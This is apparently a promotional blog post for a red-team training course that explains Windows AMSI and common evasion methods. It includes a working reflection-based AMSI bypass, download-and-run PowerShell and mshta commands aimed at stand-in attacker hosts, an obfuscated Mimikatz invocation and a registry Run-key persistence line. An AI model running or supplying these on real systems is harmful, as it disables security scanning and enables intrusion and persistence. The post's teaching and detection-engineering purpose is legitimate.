AMSI and Windows Evasion: Understanding the Modern Security Scenario

Beneath normal execution lies a different reality where AMSI evasion and in-memory techniques redefine modern Windows security.

In today’s offensive security landscape, bypassing antivirus is no longer enough. Modern Windows environments are fortified with layered defenses like Microsoft Defender, Endpoint Detection and Response (EDR), behavioral analytics, and AMSI.

The battle between attackers and defenders has evolved into a constant arms race. On one side, security vendors strengthen detection mechanisms. On the other, red teamers and adversaries innovate evasion techniques to stay undetected.

One of the most critical battlegrounds in this conflict is AMSI — the Anti-Malware Scan Interface which we will see in this blog.

What is AMSI in Windows?

AMSI, introduced in Windows 10 and Windows Server 2016, is a Microsoft interface designed to allow applications and services to integrate with anti-malware engines. Instead of scanning only files on disk, AMSI inspects content in memory before execution.

That means:

• PowerShell scripts
• VBScript
• JScript
• Office macros
• WMI commands
• .NET assemblies

All can be inspected in real time before they execute.

Why AMSI Changed the Game

Traditional antivirus relied on:

• File hashes
• Static signatures
• Known malware patterns

Attackers responded with:

• Obfuscation
• Packers
• In-memory execution
• Fileless malware

Microsoft responded with AMSI.

Now, even if you run:

Invoke-Mimikatz

Or dynamically generate malicious PowerShell in memory, AMSI scans the script buffer before execution and sends it to the antimalware provider. This dramatically raised the difficulty level for attackers.

How AMSI Works Internally

Understanding the internals is key to bypassing it. The flow looks like this:

1. Script is submitted for execution.
2. PowerShell calls AmsiScanBuffer().
3. Content is passed to the registered antivirus provider.
4. AV engine returns:

• Clean
• Malware detected

5. Execution proceeds or is blocked.

From a technical standpoint, AMSI operates via:

• amsi.dll
• AmsiInitialize
• AmsiOpenSession
• AmsiScanBuffer
• AmsiCloseSession

Red teamers target these components to bypass detection.

Why Red Teamers Must Understand AMSI

Modern enterprise environments rely heavily on Microsoft Defender and EDR solutions that integrate with AMSI. If you are performing:

• Red Team engagements
• Adversary simulation
• Advanced penetration testing
• Malware research
• Defensive validation

You must understand how AMSI operates. Otherwise, your payloads will be blocked immediately.

Consider this simple example:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

Without evasion techniques, AMSI inspects the downloaded script in memory and flags it. So what do attackers do? They adapt.

Windows Evasion Techniques in the Modern Era

The security race led to advanced evasion techniques, including:

1. Obfuscation

Breaking known signatures:

I`nvo`ke-Mi`mi`ka`tz

String concatenation:

$cmd = "Invo" + "ke-Mimi" + "katz"

Encoding payloads:

powershell -EncodedCommand <base64_payload>

However, AMSI often deobfuscates content before scanning. Obfuscation alone is no longer sufficient.

2. AMSI Patching in Memory

A classic technique involves patching AmsiScanBuffer to always return clean.

In concept:

• Locate amsi.dll
• Find AmsiScanBuffer
• Overwrite function prologue
• Force return value = AMSI_RESULT_CLEAN

Sample conceptual lab snippet:

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static') 
$field.SetValue($null,$true)

This forces PowerShell to believe AMSI initialization failed. Modern EDRs monitor for this behaviour.

3. Reflective DLL Injection

Instead of dropping files to disk, attackers:

• Load DLLs directly into memory
• Execute shellcode without touching disk

Example lab-style execution:

rundll32.exe payload.dll,EntryPoint

Or fully in-memory loaders. This reduces disk artifacts but does not fully avoid AMSI if scripts are involved.

4. Direct Syscalls

Security products hook user-mode APIs like:

• NtAllocateVirtualMemory
• NtWriteVirtualMemory
• NtCreateThreadEx

Attackers bypass hooks by using:

• Direct syscalls
• Indirect syscalls
• Syscall number extraction

This technique avoids user-mode API monitoring.

5. Living Off the Land Binaries

Attackers abuse legitimate Windows binaries such as:

• mshta.exe
• regsvr32.exe
• rundll32.exe
• installutil.exe

Example:

mshta http://attacker/payload.hta

These binaries are trusted and often allowed through application whitelisting. But defenders monitor abnormal child process behavior.

Defender Countermeasures in the Arms Race

The security community did not stand still. Modern EDR solutions detect:

• AMSI tampering
• Memory patching
• Suspicious API usage
• Behavioral anomalies
• Suspicious parent-child process chains

For example:

• PowerShell spawning cmd.exe
• Office spawning PowerShell
• rundll32 loading suspicious memory regions

Defenders now use:

• Behavioral detection
• Memory scanning
• Cloud-based threat intelligence
• Machine learning models

This forces attackers to combine multiple evasion techniques.

The Evolution of Fileless Malware

Fileless attacks leverage:

• PowerShell
• WMI
• Registry
• Scheduled tasks

Example persistence technique:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d "powershell -w hidden -c IEX(...)" 

AMSI inspects the script at execution time. Therefore, bypass must occur before execution. Understanding the execution chain is critical.

Breaking Down the AMSI Bypass Strategy

An effective AMSI bypass must:

1. Execute before malicious content is scanned.
2. Avoid signature-based detection.
3. Avoid behavioral detection.
4. Avoid memory patch detection.

This requires deep knowledge of:

• Windows internals
• PowerShell internals
• .NET reflection
• Memory management
• API hooking

Real-World Red Team Scenario

Imagine this scenario:

You gain initial access via phishing and you attempt:

powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')

AMSI flags it. You then:

• Use obfuscation
• Modify strings
• Apply reflection-based AMSI bypass
• Execute payload

EDR detects suspicious memory patching. Now what? You pivot to:

• Indirect syscalls
• Custom loaders
• Encrypted shellcode
• In-memory execution

This layered approach reflects the modern security scenario.

Why This Matters for Blue Teams Too

Understanding evasion techniques:

• Improves detection engineering
• Enhances SOC visibility
• Helps tune EDR alerts
• Validates defensive posture

Security professionals on both sides must understand AMSI bypass techniques to strengthen defenses.

The Future of AMSI and Evasion

Microsoft continues to:

• Harden PowerShell
• Improve AMSI telemetry
• Enhance Defender integration
• Expand behavioral detection

Attackers respond with:

• Kernel-level techniques
• Bring Your Own Vulnerable Driver
• Hardware-based evasion
• Advanced obfuscation frameworks

The arms race will continue. The question is: Are you prepared?

Why You Should Master Windows Evasion

If you want to:

• Become a skilled red team operator
• Perform advanced adversary simulations
• Understand EDR internals
• Conduct realistic penetration tests
• Transition into advanced offensive security roles

You must go beyond basic payload generation. You must understand:

• Memory patching
• API hooking
• Syscalls
• Loader development
• PowerShell internals
• AMSI internals

The Security Race Never Stops

AMSI fundamentally changed Windows security. But it did not end offensive tradecraft. It instaed raised the bar.

Modern Windows evasion is no longer about:

• Running Mimikatz
• Encoding PowerShell
• Hiding payloads on disk

It is about:

• Understanding system internals
• Chaining multiple evasion layers
• Staying ahead of behavioral detection
• Continuously learning

The professionals who succeed in this field are those who:

• Study deeply
• Practice in lab environments
• Understand both attacker and defender perspectives

If you want structured, hands-on, practical training that walks you through real-world evasion techniques in a controlled environment, visit:

**https://academy.redfoxsec.com/course/windows-evasion-course-91962**

Do not stay at the beginner level. Master Windows evasion, understand AMSI, and stay ahead of cybercriminals with **Redfox Cybersecurity Academy**.